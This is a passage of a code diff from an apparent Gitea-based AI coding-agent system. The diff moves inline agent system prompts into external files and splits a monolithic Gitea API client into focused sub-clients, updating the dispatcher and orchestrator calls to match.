-7. **If you find something you don't understand** — ask a question in the PR comment rather than raising a false alarm.
-8. **DO NOT fix the issues yourself** during review. The author (another agent or human) will fix them in the next loop.
-
-### 🚨 ERROR HANDLING
-- If you cannot fix an issue, **comment on the issue** with:
-  - What you tried.
-  - What code changes you attempted.
-  - Why the fix failed.
-- Do NOT mark the issue as done. The issue is only done when the PR is merged.
-- If verification fails, continue debugging until it passes.
-
-### 📝 COMMUNICATION
-- **Issues**: Use for describing problems and asking clarifying questions when requirements are unclear.
-- **PRs**: Use for proposing changes with detailed explanations.
-- **PR Comments**: Use for review feedback, questions, and status updates.
-- **When uncertain**: ALWAYS post a question as a comment and stop work. Never silently assume.
-- **When researching**: Use web search to look up docs, error messages, library APIs, and platform quirks before asking humans.
-- Always be specific and actionable in your comments.
-
-### 🛑 FORBIDDEN ACTIONS
-- Creating new repositories.
-- Editing `.git` files (unless explicitly resolving a git issue).
-- Merging PRs yourself (leave for humans).
-- Working on non-`meeks` organization repos.
-- Skipping AGENTS.md when available.
-- Making unverified changes.
-
-### ✅ SUCCESS CRITERIA
-An issue is resolved when:
-1. A PR is created with the fix.
-2. The PR is linked to the issue (using `closes #N`).
-3. The fix has been verified.
-4. The PR has been reviewed (by another agent or human).
-5. The PR is merged by a human.
-
-You are the expert. Take charge. Follow the workflow exactly.
-"""
+CODING_AGENT_SYSTEM_PROMPT: str = (_PROMPTS_DIR / "coding_agent.txt").read_text(
+    encoding="utf-8"
+)

core/dispatcher.py

@@ -43,7 +43,7 @@ def _find_pr_for_issue_helper(
     """Find an open pull request that addresses the given issue number."""
     owner, repo_name = repo_full_name.split("/")
     try:
-        prs = client.list_repo_pull_requests(owner, repo_name)
+        prs = client.prs.list_repo_pull_requests(owner, repo_name)
         for pr in prs:
             ref = pr.head.get("ref", "") if pr.head else ""
             if re.search(rf"(?<!\d){issue_number}(?!\d)", ref):
@@ -195,7 +195,7 @@ class PRTaskProcessor(TaskProcessor):
         pr_details = pr_info.model_dump_json(indent=2)
         pr_diff = ""
         try:
-            pr_diff = self.client.get_pull_request_diff(
+            pr_diff = self.client.prs.get_pull_request_diff(
                 self.owner, self.repo_name, pr_number
             )
         except Exception as e:
@@ -204,7 +204,7 @@ class PRTaskProcessor(TaskProcessor):
 
         pr_files: list[PullRequestFileModel] = []
         try:
-            pr_files = self.client.get_pull_request_files(
+            pr_files = self.client.prs.get_pull_request_files(
                 self.owner, self.repo_name, pr_number
             )
         except Exception as e:
@@ -220,7 +220,7 @@ class PRTaskProcessor(TaskProcessor):
 
         comments: list[CommentModel] = []
         try:
-            comments = self.client.get_pull_request_comments(
+            comments = self.client.prs.get_pull_request_comments(
                 self.owner, self.repo_name, pr_number
             )
             if not isinstance(comments, list):
@@ -232,7 +232,9 @@ class PRTaskProcessor(TaskProcessor):
 
         reviews: list[dict[str, Any]] = []
         try:
-            reviews = self.client.get_pr_reviews(self.owner, self.repo_name, pr_number)
+            reviews = self.client.prs.get_pr_reviews(
+                self.owner, self.repo_name, pr_number
+            )
             if not isinstance(reviews, list):
                 reviews = []
         except Exception as e:
@@ -302,8 +304,10 @@ class PRTaskProcessor(TaskProcessor):
             issues_details = []
             for issue_num in linked_issues:
                 try:
-                    issue = self.client.get_issue(self.owner, self.repo_name, issue_num)
-                    issue_comments = self.client.get_issue_comments(
+                    issue = self.client.issues.get_issue(
+                        self.owner, self.repo_name, issue_num
+                    )
+                    issue_comments = self.client.issues.get_issue_comments(
                         self.owner, self.repo_name, issue_num
                     )
                     comments_list = (
@@ -392,14 +396,14 @@ class PRTaskProcessor(TaskProcessor):
 
     async def process(self, attempt_limit: int) -> str:
         try:
-            pr_detail = self.client.get_pull_request(
+            pr_detail = self.client.prs.get_pull_request(
                 self.owner, self.repo_name, self.item.task_number
             )
         except Exception as e:
             logger.warning(f"Error fetching PR #{self.item.task_number} detail: {e}")
             return f"FAILED: Could not fetch details for PR #{self.item.task_number}."
 
-        is_own_pr = pr_detail.user and pr_detail.user.login == self.ai_username
+        is_own_pr = bool(pr_detail.user and pr_detail.user.login == self.ai_username)
         is_requested_reviewer = any(
             r.login == self.ai_username for r in pr_detail.requested_reviewers
         )
@@ -412,7 +416,7 @@ class PRTaskProcessor(TaskProcessor):
 
         pr_comments = []
         try:
-            pr_comments = self.client.get_pull_request_comments(
+            pr_comments = self.client.prs.get_pull_request_comments(
                 self.owner, self.repo_name, self.item.task_number
             )
         except Exception as e:
@@ -490,7 +494,7 @@ class IssueTaskProcessor(TaskProcessor):
 
         comments: list[CommentModel] = []
         try:
-            comments = self.client.get_issue_comments(
+            comments = self.client.issues.get_issue_comments(
                 self.owner, self.repo_name, issue_number
             )
         except Exception as e:
@@ -558,7 +562,7 @@ class IssueTaskProcessor(TaskProcessor):
                 is_wip = title_upper.startswith("WIP:") or "[WIP]" in title_upper
 
             try:
-                reviews = self.client.get_pr_reviews(
+                reviews = self.client.prs.get_pr_reviews(
                     self.owner, self.repo_name, existing_pr.number
                 )
                 has_request_changes = any(
@@ -578,7 +582,7 @@ class IssueTaskProcessor(TaskProcessor):
         # Check comments on issue and PR
         issue_comments = []
         try:
-            issue_comments = self.client.get_issue_comments(
+            issue_comments = self.client.issues.get_issue_comments(
                 self.owner, self.repo_name, self.item.task_number
             )
         except Exception as e:
@@ -590,7 +594,7 @@ class IssueTaskProcessor(TaskProcessor):
         pr_comments = []
         if existing_pr:
             try:
-                pr_comments = self.client.get_pull_request_comments(
+                pr_comments = self.client.prs.get_pull_request_comments(
                     self.owner, self.repo_name, existing_pr.number
                 )
             except Exception as e:
@@ -639,7 +643,7 @@ class IssueTaskProcessor(TaskProcessor):
                 else "No PR comments yet."
             )
             try:
-                reviews = self.client.get_pr_reviews(
+                reviews = self.client.prs.get_pr_reviews(
                     self.owner, self.repo_name, existing_pr.number
                 )
                 reviews_str = (
@@ -703,7 +707,7 @@ class IssueTaskProcessor(TaskProcessor):
                             f"<!-- agent:plan-proposal -->\n"
                             f"<!-- agent:awaiting-reply -->"
                         )
-                    self.client.add_comment(
+                    self.client.issues.add_comment(
                         self.owner, self.repo_name, self.item.task_number, comment_body
                     )
                     return f"POSTED_COMMENT: PROPOSE_PLAN comment posted to issue #{self.item.task_number}."
@@ -718,7 +722,7 @@ class IssueTaskProcessor(TaskProcessor):
                             f"<!-- agent:question-response -->\n"
                             f"<!-- agent:awaiting-reply -->"
                         )
-                    self.client.add_comment(
+                    self.client.issues.add_comment(
                         self.owner, self.repo_name, self.item.task_number, comment_body
                     )
                     return f"POSTED_COMMENT: ANSWER_QUESTION comment posted to issue #{self.item.task_number}."
@@ -727,10 +731,10 @@ class IssueTaskProcessor(TaskProcessor):
                     comment = coord_tools.arguments.get(
                         "comment", "Closing the issue as resolved."
                     )
-                    self.client.add_comment(
+                    self.client.issues.add_comment(
                         self.owner, self.repo_name, self.item.task_number, comment
                     )
-                    self.client.close_issue(
+                    self.client.issues.close_issue(
                         self.owner, self.repo_name, self.item.task_number
                     )
                     return f"CLOSED_ISSUE: Issue #{self.item.task_number} closed."
@@ -805,7 +809,7 @@ class IssueTaskProcessor(TaskProcessor):
                             pr_description = (
                                 f"Work in progress for issue #{self.item.task_number}."
                             )
-                            pr_to_use = self.client.create_pull_request(
+                            pr_to_use = self.client.prs.create_pull_request(
                                 self.owner,
                                 self.repo_name,
                                 head=branch_name,
@@ -821,7 +825,7 @@ class IssueTaskProcessor(TaskProcessor):
                             start_comment = (
                                 f"Started work on PR #{pr_to_use.number} ({pr_link})."
                             )
-                            self.client.add_comment(
+                            self.client.issues.add_comment(
                                 self.owner,
                                 self.repo_name,
                                 self.item.task_number,
@@ -919,7 +923,7 @@ class AgentDispatcher:
         results: list[str] = []
         # Get authenticated username for reviewer filter
         try:
-            user = self._client.get_authenticated_user()
+            user = self._client.repos.get_authenticated_user()
         except Exception as e:
             raise RuntimeError("No authenticated user found.") from e
 
@@ -973,7 +977,7 @@ class AgentDispatcher:
         return _find_pr_for_issue_helper(self._client, repo_full_name, issue_number)
 
     def _is_awaiting_reply(self, comments: list[CommentModel]) -> bool:
-        user = self._client.get_authenticated_user()
+        user = self._client.repos.get_authenticated_user()
         if not user or not user.login:
             raise RuntimeError("No authenticated user found.")
         return _is_awaiting_reply_helper(comments, user.login)
@@ -982,7 +986,7 @@ class AgentDispatcher:
         pr_info = item.task_info
         if not isinstance(pr_info, PullRequestModel):
             raise TypeError("Expected task_info to be a PullRequestModel")
-        user = self._client.get_authenticated_user()
+        user = self._client.repos.get_authenticated_user()
         if not user or not user.login:
             raise RuntimeError("No authenticated user found.")
         processor = PRTaskProcessor(
@@ -1002,7 +1006,7 @@ class AgentDispatcher:
         issue_info = item.task_info
         if not isinstance(issue_info, IssueModel):
             raise TypeError("Expected task_info to be an IssueModel")
-        user = self._client.get_authenticated_user()
+        user = self._client.repos.get_authenticated_user()
         if not user or not user.login:
             raise RuntimeError("No authenticated user found.")
         processor = IssueTaskProcessor(

core/orchestrator.py

@@ -90,7 +90,9 @@ class AgentOrchestrator:
             f"Polling unread notifications since: {last_checked or 'beginning'}"
         )
 
-        notifications = self._client.list_unread_notifications(since=last_checked)
+        notifications = self._client.notifications.list_unread_notifications(
+            since=last_checked
+        )
 
         if not notifications:
             logger.info("No new notifications found.")
@@ -165,7 +167,9 @@ class AgentOrchestrator:
                     f"Skipping notification {notification_id} for {repo_full_name}#{task_number}. Reason: {reason}"
                 )
                 if notification_id is not None:
-                    self._client.mark_notification_as_read(notification_id)
+                    self._client.notifications.mark_notification_as_read(
+                        notification_id
+                    )
                     logger.info(
                         f"Marked skipped Gitea notification thread {notification_id} as read."
                     )
@@ -174,7 +178,7 @@ class AgentOrchestrator:
             # Route based on decided action
             if notification_tools.action == "PROCESS_ISSUE":
                 try:
-                    issue = self._client.get_issue(owner, repo_name, task_number)
+                    issue = self._client.issues.get_issue(owner, repo_name, task_number)
                     if issue.repository is None:
                         issue = issue.model_copy(
                             update={"repository": RepositoryModel(**repo_info)}
@@ -195,7 +199,9 @@ class AgentOrchestrator:
                     )
             elif notification_tools.action == "PROCESS_PR":
                 try:
-                    pr = self._client.get_pull_request(owner, repo_name, task_number)
+                    pr = self._client.prs.get_pull_request(
+                        owner, repo_name, task_number
+                    )
                     if pr.repository is None:
                         pr = pr.model_copy(
                             update={"repository": RepositoryModel(**repo_info)}
@@ -252,7 +258,9 @@ class AgentOrchestrator:
                     f"Completed {item.task_type} #{item.task_number}: {result[:200]}"
                 )
                 if item.notification_id is not None:
-                    self._client.mark_notification_as_read(item.notification_id)
+                    self._client.notifications.mark_notification_as_read(
+                        item.notification_id
+                    )
                     logger.info(
                         f"Marked Gitea notification thread {item.notification_id} as read."
                     )

core/prompts.py

@@ -1,64 +1,15 @@
-"""System prompts and configurations for agents."""
+"""System prompts for agents, loaded from external prompt files."""
 
-COORDINATOR_SYSTEM_PROMPT: str = """
-You are an AI Coordinator. Your job is to analyze Gitea issues, read the conversation history, and determine the next action for the agent.
+from pathlib import Path
 
-Based on the conversation state, you must choose and call exactly one of the following tools:
-
-1. `propose_plan`: Choose this if code changes are needed to resolve the issue, and either:
-   - No plan has been proposed yet by the AI agent.
-   - Or a plan was proposed, but the human replied with feedback, corrections, or requests for changes, so we need to propose a revised plan.
-   You must provide a detailed, step-by-step implementation plan (listing files to modify/create, specific changes to make, verification/test commands).
-
-2. `start_implementation`: Choose this if:
-   - A plan was previously proposed AND the human has clearly replied with approval/greenlight/go-ahead (e.g., "yes", "looks good", "ok", "go ahead", etc.).
-   - Or there is an existing WIP PR or a PR with requested changes, and we need to resume implementing the changes.
-   You must extract/summarize the approved plan, incorporating any human feedback.
-
-3. `answer_question`: Choose this if the issue is just a question or request for information (no code changes needed), and either:
-   - No answer has been provided yet by the AI agent.
-   - Or the agent answered, but the human replied with follow-up questions/clarifications.
-   Provide a clear, helpful response.
-
-4. `close_issue`: Choose this ONLY if the AI agent previously answered a question AND the human has explicitly replied with a message confirming they are fully satisfied or explicitly instructing the agent to close the issue (e.g., "thanks, this answers my question", "looks good, you can close this", "close it"). If the human's response is a follow-up question, is ambiguous, or does not explicitly approve closing, you must NOT call this tool (call `answer_question` or `take_no_action` instead).
-   Provide a polite closing comment.
+_PROMPTS_DIR: Path = Path(__file__).resolve().parent.parent / "prompts"
 
 
-5. `take_no_action`: Choose this if the issue is already resolved, or if we cannot proceed for another reason.
-
-CRITICAL INSTRUCTIONS:
-- You must call EXACTLY one tool. Do not guess, and do not output raw text instead of calling a tool.
-- The `plan`, `answer`, or `comment` argument you pass to the tool will be posted directly to Gitea. DO NOT include your thought process, reasoning, or internal details in those arguments. Keep them concise and professional.
-"""
-
-NOTIFICATION_READER_SYSTEM_PROMPT: str = """
-You are a Gitea Notification Reader Agent. Your job is to analyze incoming Gitea notifications and determine how they should be routed.
-
-Based on the notification subject, details, and conversation comments (if retrieved), you must choose and call exactly one of the following tools:
-
-1. `process_issue`: Choose this if the notification refers to a Gitea issue that requires active intervention, planning, implementation, or answering a question by the AI agent.
-2. `process_pr`: Choose this if the notification refers to a Gitea Pull Request that requires active intervention, code reviews, updates, or merging by the AI agent.
-3. `skip_notification`: Choose this if:
-   - The notification is irrelevant or does not require AI agent intervention.
-   - It is a notification about an action taken by the AI agent itself (e.g. self-assigned, self-commented, self-opened).
-   - The discussion is closed or resolved, or the notification is just informational (e.g. a simple status update that needs no reply).
-   - You are unsure or think it does not fit the agent's scope. You must provide a clear reason for skipping.
-
-CRITICAL INSTRUCTIONS:
-- You must call EXACTLY one tool. Do not guess, and do not output raw text instead of calling a tool.
-- You can use the provided inspection tools (like get_issue, get_pull_request, get_issue_comments, get_pull_request_comments) to gather more details if the basic notification metadata is insufficient to make a decision.
-"""
-
-
-PLANNING_AGENT_SYSTEM_PROMPT: str = """
-You are an AI Planning Agent. Your job is to research the codebase and any external resources to produce a detailed, step-by-step implementation plan for a Gitea issue or Pull Request.
-
-CRITICAL RULES:
-1. You are ONLY generating an implementation plan. DO NOT write files, DO NOT edit files, DO NOT commit, DO NOT push, and DO NOT create branches or PRs.
-2. RESEARCH FIRST:
-   - Use web search to find documentation, solutions, APIs, and best practices.
-   - Use read_file, list_files, grep_search, and run_command to explore the repository structure and test commands.
-3. Your plan must be clear and structured, identifying which files need to be modified, created, or deleted, and detailing the exact verification steps.
-"""
+def _load_prompt(filename: str) -> str:
+    """Load a prompt from an external text file in the prompts directory."""
+    return (_PROMPTS_DIR / filename).read_text(encoding="utf-8")
 
 
+COORDINATOR_SYSTEM_PROMPT: str = _load_prompt("coordinator_agent.txt")
+NOTIFICATION_READER_SYSTEM_PROMPT: str = _load_prompt("notification_agent.txt")
+PLANNING_AGENT_SYSTEM_PROMPT: str = _load_prompt("planning_agent.txt")

gitea/__init__.py

@@ -0,0 +1,35 @@
+"""Gitea API client package."""
+
+from .client import GiteaClient
+from .files_client import FilesClient
+from .issues_client import IssuesClient
+from .notifications_client import NotificationsClient
+from .prs_client import PullRequestsClient
+from .repos_client import ReposClient
+from .models import (
+    CommentModel,
+    GiteaConfig,
+    IssueModel,
+    LabelModel,
+    PullRequestFileModel,
+    PullRequestModel,
+    RepositoryModel,
+    UserModel,
+)
+
+__all__ = [
+    "FilesClient",
+    "GiteaClient",
+    "IssuesClient",
+    "NotificationsClient",
+    "PullRequestsClient",
+    "ReposClient",
+    "CommentModel",
+    "GiteaConfig",
+    "IssueModel",
+    "LabelModel",
+    "PullRequestFileModel",
+    "PullRequestModel",
+    "RepositoryModel",
+    "UserModel",
+]

gitea/client.py

@@ -1,25 +1,28 @@
 import httpx
-import json
-import base64
 import logging
-from typing import Any, Optional
+from typing import Any
 
 logger: logging.Logger = logging.getLogger("gitea.client")
 
 from .config import GITEA_URL, GITEA_TOKEN, GITEA_ORG_FILTER
-from .models import (
-    UserModel,
-    LabelModel,
-    RepositoryModel,
-    IssueModel,
-    PullRequestModel,
-    CommentModel,
-    PullRequestFileModel,
-)
+from .files_client import FilesClient
+from .issues_client import IssuesClient
+from .notifications_client import NotificationsClient
+from .prs_client import PullRequestsClient
+from .repos_client import ReposClient
 
 
 class GiteaClient:
-    """HTTP client for Gitea API v1."""
+    """HTTP client for Gitea API v1.
+
+    This is a facade class that provides access to focused sub-clients
+    for different API domains:
+    - repos: Repository operations (ReposClient)
+    - issues: Issue operations (IssuesClient)
+    - prs: Pull request operations (PullRequestsClient)
+    - files: File and git ref operations (FilesClient)
+    - notifications: Notification operations (NotificationsClient)
+    """
 
     def __init__(self) -> None:
         self.base_url: str = GITEA_URL.rstrip("/")
@@ -28,6 +31,25 @@ class GiteaClient:
             "Accept": "application/json",
         }
         self.client: httpx.Client = httpx.Client(headers=self.headers)
+        self.repos: ReposClient = ReposClient(
+            self.base_url, self.client, GITEA_ORG_FILTER
+        )
+        self.issues: IssuesClient = IssuesClient(
+            self.base_url,
+            self.client,
+            get_user=self.repos.get_authenticated_user,
+            get_repos=self.repos.list_all_user_repos,
+        )
+        self.prs: PullRequestsClient = PullRequestsClient(
+            self.base_url,
+            self.client,
+            get_user=self.repos.get_authenticated_user,
+            get_repos=self.repos.list_all_user_repos,
+        )
+        self.files: FilesClient = FilesClient(self.base_url, self.client)
+        self.notifications: NotificationsClient = NotificationsClient(
+            self.base_url, self.client, GITEA_ORG_FILTER
+        )
 
     def close(self) -> None:
         """Close the underlying HTTP client."""
@@ -44,459 +66,3 @@ class GiteaClient:
             self.client.close()
         except Exception:
             pass
-
-    def get_authenticated_user(self) -> UserModel:
-        try:
-            response = self.client.get(f"{self.base_url}/api/v1/user")
-            response.raise_for_status()
-            return UserModel(**response.json())
-        except Exception as e:
-            logger.error(f"Error getting authenticated user: {e}", exc_info=True)
-            raise RuntimeError(f"Could not get authenticated user: {e}") from e
-
-    def list_all_user_repos(self) -> list[RepositoryModel]:
-        try:
-            url = f"{self.base_url}/api/v1/user/repos"
-            response = self.client.get(url)
-            response.raise_for_status()
-            repos: list[dict[str, Any]] = response.json()
-            # Filter to ONLY configured organization repos, include mirrors
-            seen: set[str] = set()
-            result: list[RepositoryModel] = []
-            for r in repos:
-                full_name = r.get("full_name", "")
-                if (
-                    full_name
-                    and full_name not in seen
-                    and (r.get("owner") or {}).get("login") == GITEA_ORG_FILTER
-                ):
-                    seen.add(full_name)
-                    result.append(RepositoryModel(**r))
-            return result
-        except Exception as e:
-            logger.error(f"Error listing user repos: {e}", exc_info=True)
-            return []
-
-    def list_repo_issues(
-        self, owner: str, repo: str, state: str = "open"
-    ) -> list[IssueModel]:
-        url = f"{self.base_url}/api/v1/repos/{owner}/{repo}/issues?type=issues&state={state}"
-        response = self.client.get(url)
-        response.raise_for_status()
-        return [IssueModel(**item) for item in response.json()]
-
-    def list_repo_pull_requests(
-        self, owner: str, repo: str, state: str = "open"
-    ) -> list[PullRequestModel]:
-        url = f"{self.base_url}/api/v1/repos/{owner}/{repo}/pulls?state={state}"
-        response = self.client.get(url)
-        if response.status_code == 404:
-            return []
-        response.raise_for_status()
-        return [PullRequestModel(**item) for item in response.json()]
-
-    def get_pull_request(
-        self, owner: str, repo: str, pull_number: int
-    ) -> PullRequestModel:
-        url = f"{self.base_url}/api/v1/repos/{owner}/{repo}/pulls/{pull_number}"
-        response = self.client.get(url)
-        response.raise_for_status()
-        return PullRequestModel(**response.json())
-
-    def get_issue(self, owner: str, repo: str, issue_number: int) -> IssueModel:
-        url = f"{self.base_url}/api/v1/repos/{owner}/{repo}/issues/{issue_number}"
-        response = self.client.get(url)
-        response.raise_for_status()
-        return IssueModel(**response.json())
-
-    def close_issue(self, owner: str, repo: str, issue_number: int) -> IssueModel:
-        url = f"{self.base_url}/api/v1/repos/{owner}/{repo}/issues/{issue_number}"
-        data: dict[str, str] = {"state": "closed"}
-        response = self.client.patch(url, json=data)
-        response.raise_for_status()
-        return IssueModel(**response.json())
-
-    def close_pull_request(
-        self, owner: str, repo: str, pull_number: int
-    ) -> PullRequestModel:
-        url = f"{self.base_url}/api/v1/repos/{owner}/{repo}/pulls/{pull_number}"
-        data: dict[str, str] = {"state": "closed"}
-        response = self.client.patch(url, json=data)
-        response.raise_for_status()
-        return PullRequestModel(**response.json())
-
-    def get_issue_comments(
-        self, owner: str, repo: str, issue_number: int
-    ) -> list[CommentModel]:
-        url = f"{self.base_url}/api/v1/repos/{owner}/{repo}/issues/{issue_number}/comments"
-        response = self.client.get(url)
-        response.raise_for_status()
-        return [CommentModel(**item) for item in response.json()]
-
-    def get_pull_request_comments(
-        self, owner: str, repo: str, pull_number: int
-    ) -> list[CommentModel]:
-        url = (
-            f"{self.base_url}/api/v1/repos/{owner}/{repo}/issues/{pull_number}/comments"
-        )
-        response = self.client.get(url)
-        response.raise_for_status()
-        return [CommentModel(**item) for item in response.json()]
-
-    def get_pull_request_diff(self, owner: str, repo: str, pull_number: int) -> str:
-        url = f"{self.base_url}/api/v1/repos/{owner}/{repo}/pulls/{pull_number}/diff"
-        response = self.client.get(url)
-        response.raise_for_status()
-        return response.text
-
-    def get_pull_request_patch(self, owner: str, repo: str, pull_number: int) -> str:
-        url = f"{self.base_url}/api/v1/repos/{owner}/{repo}/pulls/{pull_number}/patch"
-        response = self.client.get(url)
-        response.raise_for_status()
-        return response.text
-
-    def get_pull_request_files(
-        self, owner: str, repo: str, pull_number: int
-    ) -> list[PullRequestFileModel]:
-        url = f"{self.base_url}/api/v1/repos/{owner}/{repo}/pulls/{pull_number}/files"
-        response = self.client.get(url)
-        response.raise_for_status()
-        return [PullRequestFileModel(**item) for item in response.json()]
-
-    def list_assigned_issues(self, owner: str = "", repo: str = "") -> list[IssueModel]:
-        try:
-            user = self.get_authenticated_user()
-            if not user:
-                return []
-            username: str = user.login
-            if owner and repo:
-                response = self.client.get(
-                    f"{self.base_url}/api/v1/repos/{owner}/{repo}/issues?assignee={username}&state=open&type=issues",
-                )
-                response.raise_for_status()
-                return [IssueModel(**item) for item in response.json()]
-            all_issues: list[IssueModel] = []
-            repos = self.list_all_user_repos()
-            for r in repos:
-                repo_owner = r.owner
-                repo_name = r.name
-                resp = self.client.get(
-                    f"{self.base_url}/api/v1/repos/{repo_owner}/{repo_name}/issues?assignee={username}&state=open&type=issues",
-                )
-                if resp.status_code == 200:
-                    for item in resp.json():
-                        issue = IssueModel(**item)
-                        # Backfill repository if Gitea omitted it
-                        if issue.repository is None:
-                            issue = issue.model_copy(update={"repository": r})
-                        all_issues.append(issue)
-            return all_issues
-        except Exception as e:
-            logger.error(f"Error listing assigned issues: {e}", exc_info=True)
-            return []
-
-    def list_assigned_pull_requests(
-        self, owner: str = "", repo: str = ""
-    ) -> list[PullRequestModel]:
-        """List all pull requests assigned to or authored by the authenticated user."""
-        try:
-            user = self.get_authenticated_user()
-            if not user:
-                return []
-            username: str = user.login
-            if owner and repo:
-                response = self.client.get(
-                    f"{self.base_url}/api/v1/repos/{owner}/{repo}/pulls?state=open",
-                )
-                if response.status_code == 404:
-                    return []
-                response.raise_for_status()
-                all_prs: list[PullRequestModel] = [
-                    PullRequestModel(**pr) for pr in response.json()
-                ]
-                return [
-                    pr
-                    for pr in all_prs
-                    if (pr.assignee and pr.assignee.login == username)
-                    or (pr.user and pr.user.login == username)
-                ]
-            all_prs: list[PullRequestModel] = []
-            repos = self.list_all_user_repos()
-            for r in repos:
-                repo_owner = r.owner
-                repo_name = r.name
-                resp = self.client.get(
-                    f"{self.base_url}/api/v1/repos/{repo_owner}/{repo_name}/pulls?state=open",
-                )
-                if resp.status_code == 200:
-                    for pr_data in resp.json():
-                        pr = PullRequestModel(**pr_data)
-                        if (pr.assignee and pr.assignee.login == username) or (
-                            pr.user and pr.user.login == username
-                        ):
-                            # Backfill repository if Gitea omitted it
-                            if pr.repository is None:
-                                pr = pr.model_copy(update={"repository": r})
-                            all_prs.append(pr)
-            return all_prs
-        except Exception as e:
-            logger.error(f"Error listing assigned pull requests: {e}", exc_info=True)
-            return []
-
-    def create_pull_request(
-        self,
-        owner: str,
-        repo: str,
-        head: str,
-        base: str,
-        title: str,
-        description: str = "",
-    ) -> PullRequestModel:
-        try:
-            url = f"{self.base_url}/api/v1/repos/{owner}/{repo}/pulls"
-            data: dict[str, str] = {
-                "title": title,
-                "body": description,
-                "head": head,
-                "base": base,
-            }
-            response = self.client.post(url, json=data)
-            response.raise_for_status()
-            return PullRequestModel(**response.json())
-        except Exception as e:
-            logger.error(f"Error creating pull request: {e}", exc_info=True)
-            raise
-
-    def update_pull_request(
-        self,
-        owner: str,
-        repo: str,
-        pull_number: int,
-        title: str | None = None,
-        body: str | None = None,
-        state: str | None = None,
-    ) -> PullRequestModel:
-        try:
-            url = f"{self.base_url}/api/v1/repos/{owner}/{repo}/pulls/{pull_number}"
-            data: dict[str, Any] = {}
-            if title is not None:
-                data["title"] = title
-            if body is not None:
-                data["body"] = body
-            if state is not None:
-                data["state"] = state
-            response = self.client.patch(url, json=data)
-            response.raise_for_status()
-            return PullRequestModel(**response.json())
-        except Exception as e:
-            logger.error(f"Error updating pull request: {e}", exc_info=True)
-            raise
-
-    def create_pr_via_tea(
-        self, owner: str, repo: str, title: str, description: str, head: str, base: str
-    ) -> PullRequestModel:
-        return self.create_pull_request(owner, repo, head, base, title, description)
-
-    def approve_pr(
-        self, owner: str, repo: str, pr_number: int, comment: str
-    ) -> dict[str, Any]:
-        url = f"{self.base_url}/api/v1/repos/{owner}/{repo}/pulls/{pr_number}/reviews"
-        data: dict[str, Any] = {"event": "APPROVED", "body": comment}
-        response = self.client.post(url, json=data)
-        response.raise_for_status()
-        return response.json()
-
-    def request_changes_pr(
-        self, owner: str, repo: str, pr_number: int, comment: str
-    ) -> dict[str, Any]:
-        url = f"{self.base_url}/api/v1/repos/{owner}/{repo}/pulls/{pr_number}/reviews"
-        data: dict[str, Any] = {"event": "REQUEST_CHANGES", "body": comment}
-        response = self.client.post(url, json=data)
-        response.raise_for_status()
-        return response.json()
-
-    def get_pr_reviews(
-        self, owner: str, repo: str, pr_number: int
-    ) -> list[dict[str, Any]]:
-        url = f"{self.base_url}/api/v1/repos/{owner}/{repo}/pulls/{pr_number}/reviews"
-        response = self.client.get(url)
-        if response.status_code == 404:
-            return []
-        response.raise_for_status()
-        return response.json()
-
-    def dismiss_review_pr(
-        self, owner: str, repo: str, pr_number: int, review_id: int, message: str
-    ) -> dict[str, Any]:
-        url = f"{self.base_url}/api/v1/repos/{owner}/{repo}/pulls/{pr_number}/reviews/{review_id}/dismissals"
-        data: dict[str, str] = {"message": message}
-        response = self.client.post(url, json=data)
-        response.raise_for_status()
-        return response.json()
-
-    def assign_issue(
-        self, owner: str, repo: str, issue_number: int, username: str
-    ) -> IssueModel:
-        url = f"{self.base_url}/api/v1/repos/{owner}/{repo}/issues/{issue_number}"
-        data: dict[str, list[str]] = {"assignees": [username]}
-        response = self.client.patch(url, json=data)
-        response.raise_for_status()
-        return IssueModel(**response.json())
-
-    def create_issue(
-        self,
-        owner: str,
-        repo: str,
-        title: str,
-        body: str,
-        labels: list[str] | None = None,
-        assignees: list[str] | None = None,
-    ) -> IssueModel:
-        url = f"{self.base_url}/api/v1/repos/{owner}/{repo}/issues"
-        data: dict[str, Any] = {"title": title, "body": body}
-        if labels:
-            data["labels"] = labels
-        if assignees:
-            data["assignees"] = assignees
-        response = self.client.post(url, json=data)
-        response.raise_for_status()
-        return IssueModel(**response.json())
-
-    def add_comment(
-        self, owner: str, repo: str, issue_number: int, body: str
-    ) -> CommentModel:
-        url = f"{self.base_url}/api/v1/repos/{owner}/{repo}/issues/{issue_number}/comments"
-        data: dict[str, str] = {"body": body}
-        response = self.client.post(url, json=data)
-        response.raise_for_status()
-        return CommentModel(**response.json())
-
-    def add_label(
-        self, owner: str, repo: str, issue_number: int, label: str
-    ) -> LabelModel:
-        url = (
-            f"{self.base_url}/api/v1/repos/{owner}/{repo}/issues/{issue_number}/labels"
-        )
-        data: list[str] = [label]
-        response = self.client.post(url, json=data)
-        response.raise_for_status()
-        return LabelModel(**response.json())
-
-    def add_label_pr(
-        self, owner: str, repo: str, pr_number: int, label: str
-    ) -> LabelModel:
-        url = f"{self.base_url}/api/v1/repos/{owner}/{repo}/issues/{pr_number}/labels"
-        data: list[str] = [label]
-        response = self.client.post(url, json=data)
-        response.raise_for_status()
-        return LabelModel(**response.json())
-
-    def update_ref(self, owner: str, repo: str, ref: str, sha: str) -> dict[str, Any]:
-        url = f"{self.base_url}/api/v1/repos/{owner}/{repo}/git/ref/{ref}"
-        data: dict[str, str] = {"sha": sha}
-        response = self.client.post(url, json=data)
-        response.raise_for_status()
-        return response.json()
-
-    def create_ref(self, owner: str, repo: str, ref: str, sha: str) -> dict[str, Any]:
-        url = f"{self.base_url}/api/v1/repos/{owner}/{repo}/git/refs"
-        data: dict[str, str] = {"ref": ref, "sha": sha}
-        response = self.client.post(url, json=data)
-        response.raise_for_status()
-        return response.json()
-
-    def update_file(
-        self, owner: str, repo: str, path: str, message: str, content: str, branch: str
-    ) -> dict[str, Any]:
-        url = f"{self.base_url}/api/v1/repos/{owner}/{repo}/contents/{path}"
-        data: dict[str, str] = {
-            "message": message,
-            "content": base64.b64encode(content.encode()).decode(),
-            "branch": branch,
-            "new_branch": f"{branch}-update-{path}",
-        }
-        response = self.client.put(url, json=data)
-        response.raise_for_status()
-        return response.json()
-
-    def get_file_content(
-        self, owner: str, repo: str, path: str, ref: str = "master"
-    ) -> str | list[str]:
-        url = f"{self.base_url}/api/v1/repos/{owner}/{repo}/contents/{path}"
-        params: dict[str, str] = {"ref": ref}
-        response = self.client.get(url, params=params)
-        response.raise_for_status()
-        data = response.json()
-        if isinstance(data, list):
-            return [
-                item.get("content", "") for item in data if item.get("type") == "file"
-            ]
-        return (
-            base64.b64decode(data.get("content", "")).decode()
-            if data.get("content")
-            else ""
-        )
-
-    def list_unread_notifications(
